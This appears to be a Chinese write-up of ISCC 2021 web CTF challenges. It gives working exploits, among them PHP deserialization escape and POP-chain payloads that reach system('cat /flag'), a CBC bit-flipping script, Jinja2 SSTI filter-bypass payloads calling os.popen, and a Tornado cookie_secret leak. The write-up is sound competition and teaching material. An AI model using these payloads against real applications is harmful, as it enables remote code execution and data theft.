ISCC2021 Web WP
练武 ISCC客服冲冲冲(一)
又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己??? 请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗! 题目入口:http://39.96.91.106:7020
方法一 :使用连点器 设置每秒点击100次,得到flag方法二 :修改按钮ID F12将两个按钮的id交换方法三 : js调用click函数,控制台输入
1 setInterval (function ( ) {document .getElementById("left_button" ).click();},1 );
方法四 :刷票
这是啥
这是什么东西呢? 题目入口:http://39.96.91.106:7030
下载附件,将jsfuck编码丢到控制台得到flag
正则匹配最后的倔强。 按照提示访问robots.txt,不允许所有人访问/src/code/code.txt 访问/code/code.txt得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php <p>code.txt</p>if (isset ($_GET ['password' ])) { if (preg_match ("/^[a-zA-Z0-9]+$/" , $_GET ['password' ]) === FALSE ) { echo '<p>You password must be alphanumeric</p>' ; } else if (strlen($_GET ['password' ]) < 8 && $_GET ['password' ] > 9999999 ) { if (strpos ($_GET ['password' ], '*-*' ) !== FALSE ) { die ('Flag: ' . $flag ); } else { echo ('<p>*-* have not been found</p>' ); } } else { echo '<p>Invalid password</p>' ; } }?>
Bugku原题,传入的值必须是数字或大小写字符,长度小于8且大于9999999,且匹配到”-“才能输出flag。可以使用%00来截断,当ereg函数读到 %00的时候,就截止了。
1 Payload: ?password=1e8 %00 *-*
flag:
登录
登录来上传自己的信息吧! 题目入口:http://39.96.91.106:7010
这是一道原题: [0CTF 2016] piapiapia,参考wp
www.zip源码泄露,可直接下载源码。 源码如下:
config.php
1 2 3 4 5 6 7 <?php $config ['hostname' ] = '127.0.0.1' ; $config ['username' ] = 'root' ; $config ['password' ] = '' ; $config ['database' ] = '' ; $flag = '' ;?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <?php require ('config.php' );class user extends mysql { private $table = 'users' ; public function is_exists ($username ) { $username = parent ::filter($username ); $where = "username = '$username '" ; return parent ::select($this ->table, $where ); } public function register ($username , $password ) { $username = parent ::filter($username ); $password = parent ::filter($password ); $key_list = Array ('username' , 'password' ); $value_list = Array ($username , md5($password )); return parent ::insert($this ->table, $key_list , $value_list ); } public function login ($username , $password ) { $username = parent ::filter($username ); $password = parent ::filter($password ); $where = "username = '$username '" ; $object = parent ::select($this ->table, $where ); if ($object && $object ->password === md5($password )) { return true ; } else { return false ; } } public function show_profile ($username ) { $username = parent ::filter($username ); $where = "username = '$username '" ; $object = parent ::select($this ->table, $where ); return $object ->profile; } public function update_profile ($username , $new_profile ) { $username = parent ::filter($username ); $new_profile = parent ::filter($new_profile ); $where = "username = '$username '" ; return parent ::update($this ->table, 'profile' , $new_profile , $where ); } public function __tostring ( ) { return __class__ ; } }class mysql { private $link = null ; public function connect ($config ) { $this ->link = mysql_connect( $config ['hostname' ], $config ['username' ], $config ['password' ] ); mysql_select_db($config ['database' ]); mysql_query("SET sql_mode='strict_all_tables'" ); return $this ->link; } public function select ($table , $where , $ret = '*' ) { $sql = "SELECT $ret FROM $table WHERE $where " ; $result = mysql_query($sql , $this ->link); return mysql_fetch_object($result ); } public function insert ($table , $key_list , $value_list ) { $key = implode(',' , $key_list ); $value = '\'' . implode('\',\'' , $value_list ) . '\'' ; $sql = "INSERT INTO $table ($key ) VALUES ($value )" ; return mysql_query($sql ); } public function update ($table , $key , $value , $where ) { $sql = "UPDATE $table SET $key = '$value ' WHERE $where " ; return mysql_query($sql ); } public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode('|' , $escape ) . '/' ; $string = preg_replace($escape , '_' , $string ); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode('|' , $safe ) . '/i' ; return preg_replace($safe , 'hacker' , $string ); } public function __tostring ( ) { return __class__ ; } } session_start();$user = new user();$user ->connect($config );
register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php require_once ('class.php' ); if ($_POST ['username' ] && $_POST ['password' ]) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; if (strlen($username ) < 3 or strlen($username ) > 16 ) die ('Invalid user name' ); if (strlen($password ) < 3 or strlen($password ) > 16 ) die ('Invalid password' ); if (!$user ->is_exists($username )) { $user ->register($username , $password ); echo 'Register OK!<a href="index.php">Please Login</a>' ; } else { die ('User name Already Exists' ); } } else {?>
profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php require_once ('class.php' ); if ($_SESSION ['username' ] == null ) { die ('Login First' ); } $username = $_SESSION ['username' ]; $profile =$user ->show_profile($username ); if ($profile == null ) { header('Location: update.php' ); } else { $profile = unserialize($profile ); $phone = $profile ['phone' ]; $email = $profile ['email' ]; $nickname = $profile ['nickname' ]; $photo = base64_encode(file_get_contents($profile ['photo' ]));?>
update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php require_once ('class.php' ); if ($_SESSION ['username' ] == null ) { die ('Login First' ); } if ($_POST ['phone' ] && $_POST ['email' ] && $_POST ['nickname' ] && $_FILES ['photo' ]) { $username = $_SESSION ['username' ]; if (!preg_match('/^\d{11}$/' , $_POST ['phone' ])) die ('Invalid phone' ); if (!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $_POST ['email' ])) die ('Invalid email' ); if (preg_match('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen($_POST ['nickname' ]) > 10 ) die ('Invalid nickname' ); $file = $_FILES ['photo' ]; if ($file ['size' ] < 5 or $file ['size' ] > 1000000 ) die ('Photo size error' ); move_uploaded_file($file ['tmp_name' ], 'upload/' . md5($file ['name' ])); $profile ['phone' ] = $_POST ['phone' ]; $profile ['email' ] = $_POST ['email' ]; $profile ['nickname' ] = $_POST ['nickname' ]; $profile ['photo' ] = 'upload/' . md5($file ['name' ]); $user ->update_profile($username , serialize($profile )); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>' ; } else {?>
1.审计代码
config.php flag在这里
register.php 注册账号,对帐号密码长度做出限制
profile.php (1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容 (2)用base64编码对上传文件进行了读取和显示
update.php (1)phone 长度为11位; (2)nickname长度小于 10 位,且只能为字母和数字; (3)将用户填写的 phone、email、nickname 以及上传的文件进行序列化
class.php 存在参数过滤,filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.
存在参数过滤,where被替换成hacker,长度加1
2.序列化profile update.php中POST提交完后对$profile进行序列化操作
1 2 3 4 5 6 7 8 9 <?php $profile = array ();$profile ['phone' ] = '18288669977' ;$profile ['email' ] = '2233445588@qq.com' ;$profile ['nickname' ] = 'xiaom' ;$profile ['photo' ] = 'config.php' ;echo serialize($profile );?>
结果为
1 a:4 :{s:5 :"phone" ;s:11 :"18288669977" ;s:5 :"email" ;s:17 :"2233445588@qq.com" ;s:8 :"nickname" ;s:5 :"xiaom" ;s:5 :"photo" ;s:10 :"config.php" ;}
下面可以利用php反序列化字符逃逸
1 PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。
3.反序列化字符逃逸 这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项
1 ";}s:5:" photo";s:10:" config.php";}
上面的字符串一共34个字符,所以需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去。
class.php代码中存在过滤, where
被替换成了 hacker
,此时字符串的长度加 1 ,如果在 nickname 处填进 34 个where
,就会被替换成 34 个 hacker
,即nickname 的长度超出了 34 位。
得到payload:
1 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:" photo";s:10:" config.php";}
访问register.php,注册账号,然后登陆,在Nickname处填入上面的payload
抓包,将Nickname修改为Nickname[]数组类型4.利用base64编码读取flag 放包,点击超链接跳转到profile.php页面,查看源码
一段Base编码
1 PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdJU0NDe3doYXRfaXNAdGhlJl9uaWNrbmFtZSo/MTExMjIzNH0nOwo/Pgo=
Base64解码得到flag
1 2 3 4 5 6 7 <?php$config ['hostname' ] = '127.0.0.1' ;$config ['username' ] = 'root' ;$config ['password' ] = 'qwertyuiop' ;$config ['database' ] = 'challenges' ;$flag = 'ISCC{what_is@the&_nickname*?1112234}' ; ?>
which is the true iscc
小夏同学很想知道ISCC到底是什么,不过上网后的搜索让他更加迷惑了——怎么有这么多ISCC??到底哪个ISCC是真的呢?你能帮他找到真正的ISCC吗? 题目入口:http://39.96.91.106:7050
访问题目地址,查看源码
1 2 3 4 5 6 <!-- <a href="/?whatareyounongshane=src" >我真的是源码?</a> <a href="/?whatareyounongshane=cmd" >干点好事!</a> <a href="/?whatareyounongshane=upload" >送点东西!</a> <a href="/?whatareyounongshane=tellmetruth" >快告诉我真相!</a> -->
按照提示,访问/?whatareyounongshane=src,得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 <?php session_start(); ini_set('max_execution_time' , '5' ); set_time_limit(5 );$status = "new" ;$cmd = "whoami" ;$is_upload = false ;$is_unser_finished = false ;$iscc_file = NULL ;class ISCC_Upload { function __wakeup ( ) { global $cmd ; global $is_upload ; $cmd = "whoami" ; $_SESSION ['name' ] = randstr(14 ); $is_upload = (count($_FILES ) > 0 ); } function __destruct ( ) { global $is_upload ; global $status ; global $iscc_file ; $status = "upload_fail" ; if ($is_upload ) { foreach ($_FILES as $key => $value ) $GLOBALS [$key ] = $value ; if (is_uploaded_file($iscc_file ['tmp_name' ])) { $check = @getimagesize($iscc_file ["tmp_name" ]); if ($check !== false ) { $target_dir = "/var/tmp/" ; $target_file = $target_dir . randstr(10 ); if (file_exists($target_file )) { echo "想啥呢?有东西了……<br>" ; finalize(); exit ; } if ($iscc_file ["size" ] > 500000 ) { echo "东西塞不进去~<br>" ; finalize(); exit ; } if (move_uploaded_file($iscc_file ["tmp_name" ], $target_file )) { echo "我拿到了!<br>" ; $iscc_file = $target_file ; $status = "upload_ok" ; } else { echo "拿不到:(<br>" ; finalize(); exit ; } } else { finalize(); exit ; } } else { echo "你真是个天才!<br>" ; finalize(); exit ; } } } }class ISCC_ResetCMD { protected $new_cmd = "echo '新新世界,发号施令!'" ; function __wakeup ( ) { global $cmd ; global $is_upload ; global $status ; $_SESSION ['name' ] = randstr(14 ); $is_upload = false ; if (!isset ($this ->new_cmd)) { $status = "error" ; $error = "你这罐子是空的!" ; throw new Exception ($error ); } if (!is_string($this ->new_cmd)) { $status = "error" ; $error = '东西都没给对!' ; throw new Exception ($error ); } } function __destruct ( ) { global $cmd ; global $status ; $status = "reset" ; if ($_SESSION ['name' ] === 'isccIsCciScc1scc' ) { $cmd = $this ->new_cmd; } } }class ISCC_Login { function __wakeup ( ) { $this ->login(); } function __destruct ( ) { $this ->logout(); } function login ( ) { $flag = file_get_contents("/flag" ); $pAssM0rd = hash("sha256" , $flag ); if ($_GET ['pAssM0rd' ] === $pAssM0rd ) $_SESSION ['name' ] = "isccIsCciScc1scc" ; } function logout ( ) { global $status ; unset ($_SESSION ['name' ]); $status = "finish" ; } }class ISCC_TellMeTruth { function __wakeup ( ) { if (!isset ($_SESSION ['name' ])) $_SESSION ['name' ] = randstr(14 ); echo "似乎这个 " .$_SESSION ['name' ]." 是真相<br>" ; } function __destruct ( ) { echo "似乎这个 " .$_SESSION ['name' ]." 是真相<br>" ; } }class ISCC_Command { function __wakeup ( ) { global $cmd ; global $is_upload ; $_SESSION ['name' ] = randstr(14 ); $is_upload = false ; $cmd = "whoami" ; } function __toString ( ) { global $cmd ; return "看看你干的好事: {$cmd} <br>" ; } function __destruct ( ) { global $cmd ; global $status ; global $is_unser_finished ; $status = "cmd" ; if ($is_unser_finished === true ) { echo "看看你干的 [<span style='color:red'>{$cmd} </span>] 弄出了什么后果: " ; echo "<span style='color:blue'>" ; @system($cmd ); echo "</span>" ; } } }function randstr ($len ) { $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=' ; $randstring = '' ; for ($i = 0 ; $i < $len ; $i ++) { $randstring .= $characters [rand(0 , strlen($characters ))]; } return $randstring ; }function waf ($s ) { if (stripos($s , "*" ) !== FALSE ) return false ; return true ; }function finalize ( ) { $cmd = "" ; $is_upload = false ; unset ($_SESSION ); @unlink($iscc_file ); $status = "finish" ; echo "<img src='whichisthetrueiscc.gif'><br>" ; }if (isset ($_GET ['whatareyounongshane' ])) { $whatareyounongshane = $_GET ['whatareyounongshane' ]; switch ($whatareyounongshane ) { case "src" : highlight_file(__FILE__ ); break ; case "cmd" : echo "想越级干好事?还是有门的……" ; header('Location: /?%3f=O:12:"ISCC_Command":0:{}' ); break ; case "reset" : echo "几辈子积累的好运就在这时~:p" ; header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}' ); break ; case "upload" : $resp = <<<EOF <form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data" > <input type="file" name="iscc_file" > <input type="submit" value="Upload Image" name="submit" > </form> EOF; echo $resp ; break ; case "tellmetruth" : echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==" ); header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}' ); break ; default : echo "空空如也就是我!" ; } finalize(); die ("所以哪个ISCC是真的?<br>" ); }if (isset ($_GET ['?' ])) { $wtf = waf($_GET {'?' }) ? $_GET ['?' ] : (finalize() && die ("试试就“逝世”!" )); if ($goodshit = @unserialize($wtf )) { $is_unser_finished = true ; } if (in_array($status , array ('new' , 'cmd' , 'upload_ok' , 'upload_fail' , 'reset' ), true )) finalize(); die ("所以哪个ISCC是真的?<br>" ); }?>
ISCC_Command类里面的__destruct方法可以执行cmd命令
1 2 3 4 5 6 7 8 9 10 11 12 function __destruct ( ) { global $cmd ; global $status ; global $is_unser_finished ; $status = "cmd" ; if ($is_unser_finished === true ) { echo "看看你干的 [<span style='color:red'>{$cmd} </span>] 弄出了什么后果: " ; echo "<span style='color:blue'>" ; @system($cmd ); echo "</span>" ; } }
在ISCC_ResetCMD类里面对cmd进行重新赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class ISCC_ResetCMD { protected $new_cmd = "echo '新新世界,发号施令!'" ; function __destruct ( ) { global $cmd ; global $status ; $status = "reset" ; if ($_SESSION ['name' ] === 'isccIsCciScc1scc' ) { $cmd = $this ->new_cmd; } } }
这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1scc的SESSION
1 2 3 if ($_SESSION ['name' ] === 'isccIsCciScc1scc' ) { $cmd = $this ->new_cmd; }
通过变量覆盖来控制$_SESSION的值
ISCC__Upload类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class ISCC_Upload { function __wakeup ( ) { global $cmd ; global $is_upload ; $cmd = "whoami" ; $_SESSION ['name' ] = randstr(14 ); $is_upload = (count($_FILES ) > 0 ); } function __destruct ( ) { global $is_upload ; global $status ; global $iscc_file ; $status = "upload_fail" ; if ($is_upload ) { foreach ($_FILES as $key => $value ) $GLOBALS [$key ] = $value ;
其中$GLOBALS['key'] = value;
为全局变量的覆盖,当$is_upload为true
的时候,就会触发这个循环,可以实现$_SESSION
的变量覆盖。
而在upload类里面的__wakeup方法里面$is_upload = (count($_FILES) > 0);
会把他设置成true,其他的类都设置成了false。
这里了解一下$_FILES
,$_FILES
通过 HTTP POST 方式上传到当前脚本的项目的数组。 数组内容如下:
1 2 3 4 5 $_FILES ['userfile' ]['name' ] $_FILES ['userfile' ]['type' ] $_FILES ['userfile' ]['size' ] $_FILES ['userfile' ]['tmp_name' ] $_FILES ['userfile' ]['error' ]
所以我们就要让upload执行__destruct的时候,is_upload是true 这就要求,最早执行__destruct,最晚执行__wakeup,所以就可以按一定顺序来构造POP链
由于有一个waf函数,不能出现*
号
1 2 3 4 5 function waf ($s ) { if (stripos($s , "*" ) !== FALSE ) return false ; return true ; }
但是ISCC_ResetCMD类的$new_cmd
的属性是protected的,序列化后会带有*
,这就需要ISCC_Upload类的__wakeup在这些类的最后进行,但是__destruct要在第一个开始。需要按一定顺序来构造POP链::
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class ISCC_Command { }class ISCC_ResetCMD { protected $new_cmd = "cat /flag" ; }class ISCC_Upload { }$a =array ( 'a' =>new ISCC_Upload(), 'b' =>new ISCC_ResetCMD(), 'c' =>new ISCC_Command(), );$b =serialize($a );echo $b ;
利用16进制绕过,将s替换成S,在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示。使用url编码一下,然后替换s即可。
重新构造POP链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class ISCC_Command { } class ISCC_ResetCMD { protected $new_cmd = "cat /flag" ; } class ISCC_Upload { } $a=array( 'a'=>new ISCC_Upload(), 'b'=>new ISCC_ResetCMD(), 'c'=>new ISCC_Command(), ); $b=urlencode(serialize($a)); $b=str_replace("s" ,"S" ,$b); $b=str_replace("%2A" ,'\2a' ,$b); echo $b;
运行得到:
1 a%3 A3%3 A%7 BS%3 A1%3 A%22 a%22 %3 BO%3 A11%3 A%22 ISCC_Upload%22 %3 A0%3 A%7 B%7 DS%3 A1%3 A%22 b%22 %3 BO%3 A13%3 A%22 ISCC_ReSetCMD%22 %3 A1%3 A%7 BS%3 A10%3 A%22 %00 \2 a%00 new_cmd%22 %3 BS%3 A9%3 A%22 cat+%2 Fflag%22 %3 B%7 DS%3 A1%3 A%22 c%22 %3 BO%3 A12%3 A%22 ISCC_Command%22 %3 A0%3 A%7 B%7 D%7 D
通过python脚本上传,注意图片不能太大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests url="http://39.96.91.106:7050/" files={ 'iscc_file' :("b" ,open ("atkx.jpg" ,"rb" )), "_SESSION" :("isccIsCciScc1scc" ,"123" ) } headers={ 'Cookie' :"XDEBUG_SESSION=PHPSTORM" } r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D" ,files=files,headers=headers) print(r.text)
得到flag
ISCC客服一号冲冲冲(二)
经过激烈的竞争,客服一号终于通过自己的努力(选手的帮助),保住了自己的饭碗(获得了客服的密码),可当他打开客服登录窗口,却发现怎么也登不上去了。 你能帮他看看怎么回事吗? 题目入口:http://39.96.91.106:8210/ Flag格式:iscc{XXX}
查看源码,看到login.bmp,下载
蓝色通道最低位有异常,另存为login.html
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php define("SECRET_KEY" , '101010031231243214' ); define("METHOD" , "aes-128-cbc" ); session_start();function get_random_iv ( ) { $random_iv ='' ; for ($i =0 ;$i <16 ;$i ++){ $random_iv .=chr(rand(1 ,255 )); } return $random_iv ; }function login ($info ) { $iv = get_random_iv(); $plain = serialize($info ); $cipher = openssl_encrypt($plain , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv ); $_SESSION ['username' ] = $info ['username' ]; $_SESSION ['password' ] = $info ['password' ]; setcookie("iv" , base64_encode($iv )); setcookie("cipher" , base64_encode($cipher )); }function check_login ( ) { if (isset ($_COOKIE ['cipher' ]) && isset ($_COOKIE ['iv' ])){ $cipher = base64_decode($_COOKIE ['cipher' ]); $iv = base64_decode($_COOKIE ["iv" ]); if ($plain = openssl_decrypt($cipher , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv )){ $info = unserialize($plain ) or die ("<p>base64_decode('" .base64_encode($plain )."') can't unserialize</p>" ); $_SESSION ['username' ] = $info ['username' ]; }else { die ("ERROR!" ); } } }function show_homepage ( ) { if ($_SESSION ["username" ]==='admin' && $_SESSION ["password" ]=== password) { echo '<p>Hello admin</p>' ; echo '<p>Flag is ' .flag.'</p>' ; } else if ($_SESSION ["password" ] == password) { echo '<p>hello ' .$_SESSION ['username' ].'</p>' ; echo '<p>You can\'t see flag</p>' ; } else { echo '<p>Sorry,password is incorrect</p>' ; } }if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])){ $username = (string )$_POST ['username' ]; $password = (string )$_POST ['password' ]; if ($username === 'admin' ){ exit ('<p>admin are not allowed to login</p>' ); }else { $info = array ('username' =>$username ,'password' =>$password ); login($info ); show_homepage(); } }else { if (isset ($_SESSION ["username" ])){ check_login(); show_homepage(); }else { echo ' <body class="login-body"> <div id="wrapper" style = "width:800px; height:200px; overflow:hidden;"> <img class="img1" src="login.bmp" alt="login" /> </div> </body>' ; } }?>
阅读源代码,我们可以知道,只有admin用户才能读取flag,但是admin用户又不允许登录。虽然相互矛盾,由于题目用到了aes的cbc模式加密,所以我们可以利用cbc字节翻转攻击来得到我们想要的明文。
Bugku Login4 原题,考查CBC字节翻转攻击
这是组合题,猜测密码是(一)的flag
1 2 POST username=admix&password=1 SCC_2o2l_KeFuu&submit=Login
题目将用户名密码传入数组并序列化得到
1 a:2 :{s:8 :"username" ;s:5 :"admil" ;s:8 :"password" ;s:15 :"1SCC_2o2l_KeFuu" ;
接下来进行aes加密,并将得到的cipher和iv进行base64编码放入cookie中(cookie对于攻击者来说可控,所以存在cbc字节翻转攻击)
明文加密时分组为:
1 2 3 4 5 a:2 :{s:8 :"userna me" ;s:5 :"admil" ; s:8 :"password" ;s :15 :"1SCC_2o2l_K eFuu" ;}
因此我们只需要将”x”字节翻转为”n”即可得到flag。
根据我们得到的关系,已知只需修改前一组密文即可。
1 $newcipher [13 ]=chr(ord(13 ) ^ ord(‘x’) ^ ord(‘n’))
这时我们就会得到
1 a:2 :{s:8 :"username" ;s:5 :"admin" ;s:8 :"password" ;s:15 :"1SCC_2o2l_KeFuu" ;
但是由于前一组密文被修改了 所以前一组的明文会出现乱码,因此接下来我们再生成新的iv将前一组明文改回a:2:{s:8:”userna 即可得到flag。
下面开始操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php header("Content-Type: text/html;charset=utf-8" ); $cipher = base64_decode(urldecode('y2x2UEGxPieluLPfmaOe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D' )); $temp = $cipher ; $cipher [13 ] = chr(ord($cipher [13 ]) ^ ord('x' ) ^ ord('n' )); echo urlencode(base64_encode($cipher )); ?>
得到
1 y2x2UEGxPieluLPfmbWe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2 F9JXPj%2 FmCm17%2 BVl6eIuWs0BqoaXVDL8%3 D
这里提示反序列化失败了 重新计算vi
1 2 3 4 5 6 7 8 9 10 11 <?php $res = base64_decode('udWanuvQSROPYCexu0Urn21lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30=' ); $iv = base64_decode(urldecode('UlaTx7%2Bd%2B3R0%2BQG0wM0t%2BQ%3D%3D' )); $plaintext = 'a:2:{s:8:"userna' ; $new_iv = '' ; for ($i = 0 ; $i < 16 ; $i ++){ $new_iv = $new_iv . chr(ord($iv [$i ]) ^ ord($res [$i ]) ^ ord($plaintext [$i ])); } echo urlencode(base64_encode($new_iv ));?>
得到新的iv值传过去
1 irk7Yy8%2 BiF%2 FBu1N2HvpoBw%3 D%3 D
最终flag为
lovely ssti MiaoMiaoMiao~这里有一只可爱的暹罗猫猫 题目入口:http://39.96.91.106:3010/
查看可用字符
1 Payload: ?xiaodouni={%print %20lipsum|select|string|list%}
没做过多少SSTI方面的题,会单独弄篇博客总结SSTI,暂时先贴一下大师傅们的Payload吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ?xiaodouyu= {%set%20 xiahua=(config|select|string |list )[24 ]%} {%set%20 gb=(xiahua,xiahua,dict(class =a )|join ,xiahua ,xiahua )|join %} {%set%20 ini=(xiahua,xiahua,dict(init=a)|join,xiahua,xiahua)|join%} {%set%20 glo=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%} {%set%20 gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%} {%set%20 oo=dict(o=a,s=a)|join%} {%%20 set%20 so=oo[::-1 ]%} {%set%20 pp=dict(pop=a,ne=b)|join%} {%%20 set%20 opo=pp[::-1 ]%} {%set%20 rd=(dict(read=a)|join)%} {%print config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(opo)("cat /usr/?????is?here????" )|attr(rd)()%} ?xiaodouyu= {%set pp=(dict(pop=a))|join%} {%set xiahua=(lipsum|select|string |list )|attr(pp)(24 )%} {%set g=(lipsum|select|string |list )|attr(pp)(1 )%} {%set gb=(xiahua,xiahua,g,dict(bals=a,lo=a)|join,xiahua,xiahua)|join%} {%set gm=(xiahua,xiahua,g,dict(e=a,titem=a)|join,xiahua,xiahua)|join%} {%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%} {%set chcr=(lipsum|attr(gb)|attr(gm)(bl))|attr("ge" "t" )("ch" "r" )%} {%set dian=chcr(46 )%} {%set space=chcr(32 )%} {%set xing=chcr(42 )%} {%set shell=("cat " ,"requirements" ,dian,"txt" )|join%} {%set shell2=("find / -name " ,xing,"fl" ,"ag" ,xing)|join%} {%set shell2=("cat /usr/fl" ,"ag" ,xiahua,"is" ,xiahua,"here" ,dian,"txt" )|join%} {{ lipsum|attr(gb)|attr(gm)("o" "s" )|attr("po" "pen" )(shell2)|attr("read" )()}} ?xiaodouyu= {% set xiahua=(config|string )[14 ]%} {% set gb=(xiahua,xiahua,"globals" ,xiahua,xiahua)|join %} {% set bl=(xiahua,xiahua,"builtins" ,xiahua,xiahua)|join %} {% set cr=(lipsum|attr(gb)|attr("get" )(bl))["ch" "r" ] %} {% set dian=cr(46 )%} {% set xing =cr(42 )%} {% set shell=("find / -name " ,xing,"fla" ,xing)|join%} {% set shell4 = "cat /usr/fla??is?here?txt" %} {{(lipsum|attr(gb)|attr("get" )("o" "s" )|attr("po" "pen" )(shell4))|attr("read" )()}}
擂台 tornado Tornado 是什么呢? 题目入口:http://39.96.91.106:7060
在BUU上做过,是道原题
从三个链接可以得到以下信息:
flag.txt:flag在/fllllllllllllaaaaaag文件里面
welcome.txt:根据提示render,可以知道存在模板注入
hints.txt:md5(cookie_secret+md5(filename))
当访问/hints.txt,发现url栏变为:
1 /file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15
直接访问fllllllllllllaaaaaag文件
1 Payload: /file?filename=/fllllllllllllaaaaaag
需要计算filehash的值,即md5(cookie_secret+md5(filename))的值。filename已经知道了是/fllllllllllllaaaaaag,下面需要找到cookie_secret。
Tornado框架的附属文件handler.settings中存在cookie_secret,进行模板注入:
1 Payload:error?msg={{handler.settings}}
得到cookie_secret的值 直接使用脚本:
